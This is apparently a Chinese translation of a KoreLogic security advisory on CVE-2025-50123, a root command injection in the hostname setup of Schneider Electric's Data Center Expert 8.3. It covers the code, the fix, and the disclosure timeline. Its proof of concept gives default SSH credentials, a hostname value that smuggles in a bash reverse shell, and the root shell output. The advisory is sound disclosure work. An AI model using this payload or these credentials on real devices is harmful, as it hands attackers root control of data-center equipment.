施耐德电气数据中心专家系统远程命令执行漏洞深度解析

本文详细分析了施耐德电气EcoStruxure IT Data Center Expert v8.3及更早版本存在的远程命令执行漏洞,包含技术细节、漏洞原理、修复建议及完整时间线,涉及CWE-1286和CWE-94安全漏洞分类。

KL-001-2025-009:施耐德电气EcoStruxure IT数据中心专家远程命令执行漏洞

1. 漏洞详情

  • 受影响厂商:施耐德电气
  • 受影响产品:EcoStruxure IT Data Center Expert
  • 受影响版本:8.3及更早版本
  • 平台:CentOS
  • CWE分类:CWE-1286:输入语法正确性验证不当;CWE-94:代码生成控制不当(代码注入)
  • CVE ID:CVE-2025-50123

2. 漏洞描述

在进行数据中心专家(“DCE”)设备配置时,设备主机名值的输入清理不充分。主机名变量可包含命令终止符及后续命令,这些命令将以root权限执行。

3. 技术描述

在驱动和控制设备基于SSH配置的.bcsetup脚本中,从用户接受的主机名值未充分清理。脚本确实检查确保提供了包含(但不限于)有效主机名的值。

1
2
3
4
5
6
7
8
def checkHostnameFormat(hn):
    result = False
    try:
        hostname_check = re.compile('[a-zA-Z0-9_-]+\.[a-zA-Z0-9_-]+\.[a-zA-Z0-9_-]+')
        result = hostname_check.match(hn)
    except:
        result = False
    return result

可以提供通过此检查但包含分号后跟操作系统命令的主机名值。.bcsetup脚本以root权限运行,因此分号后的命令也以root权限执行。这可能发生在设备尝试执行DNS解析时:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
def resolveHostnameToIPAddr(new_hostname):
    global domain

    if ("" != domain):
        result_string = execOSCmd("host " + new_hostname)
        if (-1 == result_string.find("has address " + ipaddr)):
            return False
        else:
            return True

    return False

4. 缓解和修复建议

EcoStruxure IT Data Center Expert 9.0版本包含对这些漏洞的修复,可通过施耐德电气客户服务中心获取。参考:https://download.schneider-electric.com/files?p_Doc_Ref=SEVD-2025-189-01&p_enDocType=Security+and+Safety+Notice&p_File_Name=SEVD-2025-189-01.pdf

5. 致谢

此漏洞由KoreLogic, Inc.的Jaggar Henry和Jim Becher发现。

6. 披露时间线

  • 2024-11-21:KoreLogic向施耐德电气CPCERT报告漏洞详情
  • 2024-11-22:厂商确认收到KoreLogic提交
  • 2024-12-06:厂商确认报告的漏洞
  • 2024-12-12:厂商请求与KoreLogic会面讨论此漏洞及相关提交的修复时间表
  • 2024-12-18:KoreLogic和施耐德电气同意将漏洞详情保密至产品更新9.0(约2025年7月)
  • 2025-01-29:厂商提供状态更新
  • 2025-03-17:厂商提供包含此漏洞及KoreLogic报告的其他相关漏洞修复的测试版
  • 2025-06-20:厂商通知KoreLogic此漏洞的发布日期为2025-07-08
  • 2025-07-08:厂商公开披露
  • 2025-07-09:KoreLogic公开披露

7. 概念验证

DCE设备:

使用apcsetup / apcsetup(默认凭据)SSH连接到设备,将进入运行配置实用程序的受限shell。接受或设置配置直到出现设置主机名的提示。当提示输入主机名时,提供以下值:

"xyzzy.domain.com;bash -i >& /dev/tcp/192.168.2.1/18953 0>&1"

攻击者机器:

1
2
3
4
5
6
7
$ nc -v -l -p 18953 -s 192.168.2.1
Listening on 192.168.2.1 18953
Connection received on 192.168.2.90 35780
[root@xyzzy ~]# id
id
uid=0(root) gid=0(root) groups=0(root)
[root@xyzzy ~]#

本公告内容版权归KoreLogic, Inc.所有,采用知识共享署名-相同方式共享4.0(美国)许可协议:http://creativecommons.org/licenses/by-sa/4.0/

comments powered by Disqus
使用 Hugo 构建
主题 StackJimmy 设计